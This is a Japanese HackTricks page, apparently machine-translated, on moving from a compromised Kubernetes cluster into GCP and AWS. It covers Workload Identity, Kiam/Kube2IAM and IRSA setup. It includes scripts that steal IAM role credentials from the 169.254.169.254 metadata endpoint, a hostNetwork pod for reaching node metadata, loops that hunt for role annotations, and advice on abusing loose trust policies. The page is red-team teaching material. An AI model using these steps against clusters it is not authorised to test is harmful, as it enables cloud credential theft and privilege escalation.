Kubernetes Pivoting to Clouds

Reading time: 17 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

GCP

GCP内でk8sクラスターを実行している場合、クラスター内で実行されているアプリケーションがGCPにアクセスできるようにしたいと思うでしょう。これを行う一般的な方法は2つあります。

GCP-SAキーをシークレットとしてマウントする

KubernetesアプリケーションにGCPへのアクセスを提供する一般的な方法は次のとおりです。

  • GCPサービスアカウントを作成する
  • 必要な権限をバインドする
  • 作成したSAのjsonキーをダウンロードする
  • ポッド内にシークレットとしてマウントする
  • jsonがあるパスを指すGOOGLE_APPLICATION_CREDENTIALS環境変数を設定する

warning

したがって、攻撃者として、ポッド内のコンテナを侵害した場合は、そのenv variablejson filesにGCPの資格情報が含まれているか確認する必要があります。

GSA jsonをKSAシークレットに関連付ける

GKEクラスターにGSAへのアクセスを提供する方法は、次のようにバインドすることです。

  • 次のコマンドを使用して、GKEクラスターと同じ名前空間にKubernetesサービスアカウントを作成します。
bash
Copy codekubectl create serviceaccount <service-account-name>
  • GKE クラスターへのアクセスを付与したい GCP サービス アカウントの資格情報を含む Kubernetes Secret を作成します。次の例のように、gcloud コマンドライン ツールを使用してこれを行うことができます:
bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • 次のコマンドを使用して、Kubernetes SecretをKubernetesサービスアカウントにバインドします:
bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

第二のステップでは、KSAの秘密としてGSAの資格情報が設定されました。その後、GKEクラスターの内部からその秘密を読み取ることができれば、そのGCPサービスアカウントに昇格することができます

GKEワークロードアイデンティティ

ワークロードアイデンティティを使用すると、KubernetesサービスアカウントGoogleサービスアカウントとして機能するように構成できます。Kubernetesサービスアカウントで実行されるポッドは、Google Cloud APIにアクセスする際に自動的にGoogleサービスアカウントとして認証されます。

この動作を有効にするための最初の一連のステップは、GCPでワークロードアイデンティティを有効にすること手順)と、k8sが模倣するGCP SAを作成することです。

  • 新しいクラスターでワークロードアイデンティティを有効にする
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • 新しいノードプールを作成/更新する(オートパイロットクラスターでは必要ありません)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8sからGCP権限を持つGCPサービスアカウントを偽装するを作成します:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • クラスター接続し、使用するサービスアカウント作成します。
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSAをKSAにバインドする
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • KSAを使用してpodを実行し、GSAへのアクセスを確認します:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

必要に応じて認証するための次のコマンドを確認してください:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

K8s内の攻撃者として、iam.gke.io/gcp-service-account アノテーションを持つSAs検索するべきです。これは、そのSAがGCP内の何かにアクセスできることを示しています。もう一つの選択肢は、クラスター内の各KSAを悪用し、それがアクセス権を持っているかどうかを確認することです。
GCPからは、バインディングを列挙し、Kubernetes内のSAsにどのようなアクセスを与えているかを知ることが常に興味深いです。

これは、そのアノテーションを探すためにすべてのポッド定義を簡単に反復するスクリプトです:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (PodsのためのIAMロール)

PodsにIAMロールを付与する(古い)方法は、KiamまたはKube2IAM サーバーを使用することです。基本的に、特権のあるIAMロールデーモンセットをクラスター内で実行する必要があります。このデーモンセットが、必要なポッドにIAMロールへのアクセスを提供します。

まず最初に、どのロールがネームスペース内でアクセス可能かを設定する必要があり、これはネームスペースオブジェクト内のアノテーションで行います:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

名前空間がIAMロールで構成されると、Podは次のように各Pod定義で希望するロールを指定できます:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

攻撃者として、もしポッドや名前空間にこれらの注釈が見つかったり、kiam/kube2iamサーバーが実行されている場合(おそらくkube-system内で)、あなたはポッドによって既に使用されているすべてのroleをなりすますことができ、さらに(AWSアカウントにアクセスできる場合はロールを列挙できます)。

IAMロールを持つポッドの作成

note

指定するIAMロールは、kiam/kube2iamロールと同じAWSアカウント内に存在し、そのロールがアクセスできる必要があります。

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

これはAWSによる推奨方法です。

  1. まず最初に、クラスターのためのOIDCプロバイダーを作成する必要があります。
  2. 次に、SAが必要とする権限を持つIAMロールを作成します。
  3. IAMロールとSAの間に信頼関係を作成する必要があります(または、名前空間がロールへのアクセスをすべてのSAに与える)。信頼関係は主にOIDCプロバイダー名、名前空間名、SA名を確認します
  4. 最後に、ロールのARNを示すアノテーションを持つSAを作成し、そのSAで実行されるポッドはロールのトークンにアクセスできるようになります。トークンファイルに書き込まれ、パスは**AWS_WEB_IDENTITY_TOKEN_FILE**に指定されます(デフォルト: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)。
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token からのトークンを使用して awsを取得する には、次のコマンドを実行します:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

攻撃者として、K8s クラスターを列挙できる場合は、そのアノテーションを持つサービスアカウントを確認してAWSにエスカレートしてください。そうするには、IAMの特権サービスアカウントの1つを使用してexec/createを行い、トークンを盗みます。

さらに、ポッド内にいる場合は、AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKENのような環境変数を確認してください。

caution

時々、役割のTrust Policy不適切に構成されている場合があり、期待されるサービスアカウントにAssumeRoleアクセスを与える代わりに、すべてのサービスアカウントに与えてしまうことがあります。したがって、制御されたサービスアカウントにアノテーションを書き込むことができれば、その役割にアクセスできます。

詳細については、以下のページを確認してください:

AWS - Federation Abuse

クラスター内のIAMロールを持つポッドとサービスアカウントを見つける

これは、すべてのポッドとサービスアカウントの定義を反復処理してそのアノテーションを探すためのスクリプトです:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

前のセクションでは、ポッドを使用してIAMロールを盗む方法について説明しましたが、K8sクラスターのノードはクラウド内のインスタンスであることに注意してください。これは、ノードが新しいIAMロールを持っている可能性が高いことを意味します(通常、K8sクラスターのすべてのノードは同じIAMロールを持っているため、各ノードを確認する価値がないかもしれません)。

ただし、ノードからメタデータエンドポイントにアクセスするためには重要な要件があります。ノード内にいる必要があります(sshセッション?)または少なくとも同じネットワークにいる必要があります。

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAMロールトークンを盗む

以前、ポッドにIAMロールをアタッチする方法や、インスタンスにアタッチされているIAMロールを盗むためにノードにエスケープする方法について説明しました。

次のスクリプトを使用して、あなたの新しく努力して得たIAMロールの資格情報盗むことができます:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする